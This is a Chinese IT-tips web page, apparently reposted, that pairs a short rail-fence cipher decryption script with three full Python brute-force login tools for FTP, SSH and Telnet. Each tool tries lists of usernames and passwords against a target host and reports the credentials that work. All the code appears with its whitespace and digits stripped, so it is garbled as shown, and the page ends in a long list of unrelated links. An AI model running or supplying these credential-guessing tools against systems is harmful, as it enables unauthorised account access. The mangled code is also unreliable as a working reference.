位置: IT常识 - 正文

Python脚本多种方法破解栅栏密码(python脚本例子)

编辑:rootadmin

推荐整理分享Python脚本多种方法破解栅栏密码(python脚本例子),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:python脚本怎么用,python编写脚本方法,python运行多个脚本,python 常用脚本,python运行多个脚本,python运行多个脚本,python编写脚本方法,python运行多个脚本,内容如对您有帮助,希望把文章链接给更多的朋友!

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本多种方法破解栅栏密码(python脚本例子)

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines('list')ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines('LIST')printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--usernamelist':usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-p'orarg.lower()=='--passwordlist':passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+'''Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n'''+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):'''CreateSSHconnectiontotarget'''ssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status='ok'ssh.close()exceptException,e:status='error'passreturnstatusdefmakelist(file):'''Makeusernamesandpasswordslists'''items=[]try:fd=open(file,'r')exceptIOError:printR+'unabletoreadfile\'%s\''%file+ENDpassexceptException,e:printR+'unknownerror'+ENDpassforlineinfd.readlines():item=line.replace('\n','').replace('\r','')items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()=='-p'orarg.lower()=='--port':port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--userlist':userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-w'orarg.lower()=='--wordlist':wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent=='error':printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py<server><userlist><wordlist>"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist></userlist></server>
本文链接地址:https://www.jiuchutong.com/zhishi/303165.html 转载请保留说明!

上一篇:CMS技巧:广告延迟加载让网站速度更快(广告系统源码)

下一篇:WordPress网站一键接入微信登录(wordpress all in one)

  • 个税申报数是按应发数还是实发数进行申报?
  • 一般纳税人服务费税率
  • 住宿费收入缴纳标准
  • 甲是乙公司依法设立的分公司
  • 月报和季度报的区别
  • 五险一金计提缴纳分录
  • 房地产企业没有退还的履约保证金税务
  • 外贸企业出口货物
  • 现金支票填写注意事项有哪些
  • 企业房产税优惠政策2022
  • 企业免征土地使用税吗
  • 通用机打发票开具给个人是否需要缴税?
  • 个人所得税薪金所得是实发工资还是应发工资
  • 增票丢失怎么开完税证明
  • 安装设备用的材料计入什么科目
  • 投入资本属于净资产吗
  • 公司购买茶叶应计入哪里
  • 酒精是否属于消费税征税范围
  • w10关闭
  • 主管会计的具体工作
  • 以前年度应收账款无法收回
  • 在建工程如何转为成本费用
  • SetPoint.exe - SetPoint是什么进程 有什么用
  • 债务担保是什么意思
  • ipcservice.dll是什么?
  • ghost打开
  • php基础入门教程
  • 北极熊睡觉图片卡通
  • 弃置费用预计负债递延所得税怎么处理
  • 待抵扣进项税额和进项税额的区别
  • php curl 封装
  • mysql框架有哪些
  • python读书笔记
  • Delete `␍` 最简单最有效的解决方法和解释(VScode)
  • ai作画
  • 机器学习期末复习题
  • 知识图谱的构建方法有两种
  • 固定资产的装修费计入固定资产吗
  • 工伤医疗费必须要交吗
  • 虚开普票的立案标准
  • 只开发票没有合同也要印花税吗
  • mustn't be allowed
  • 应付账款预付账款应收账款预收账款
  • 挂靠设计公司费用标准如何记账?
  • 社保下个月扣款
  • 帮客户代付保证金合法吗
  • 广告发票能抵扣吗
  • 研发人员伙食费可以加计扣除吗为什么
  • 可供出售金融资产可以转为交易性金融资产吗
  • 外贸企业的退税可以转出来吗
  • 软件开发公司一般薪水多少
  • 开票未收到款会计分录
  • 机关和事业单位党的支部委员会每届任期
  • 非流动资产减少
  • 上海残疾人就业保障金计算公式
  • 建筑公司异地施工
  • mysql数据存在内存还是硬盘
  • win10系统如何添加扫描仪
  • iis6配置网站
  • win8系统升级到win10东西还在吗
  • linux的用户
  • WIN7如何关闭自动关机
  • win10没空间
  • win8 远程桌面
  • cocos2d怎么用
  • opengl控制物体移动
  • node做爬虫
  • python 网络编程培训
  • js alert()
  • node exit
  • unity3D关于公共安全内容制作
  • 英特尔在哪打开
  • 安装配置jsp运行环境
  • 出口企业的增值税怎么算
  • 残疾人个人所得税减免政策
  • 广东智慧团建登录不上去怎么回事
  • 金税盘显示证书口令错误
  • 地税税务登记代码怎么查
  • 青岛新农合咨询电话
  • 税务局自助终端
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设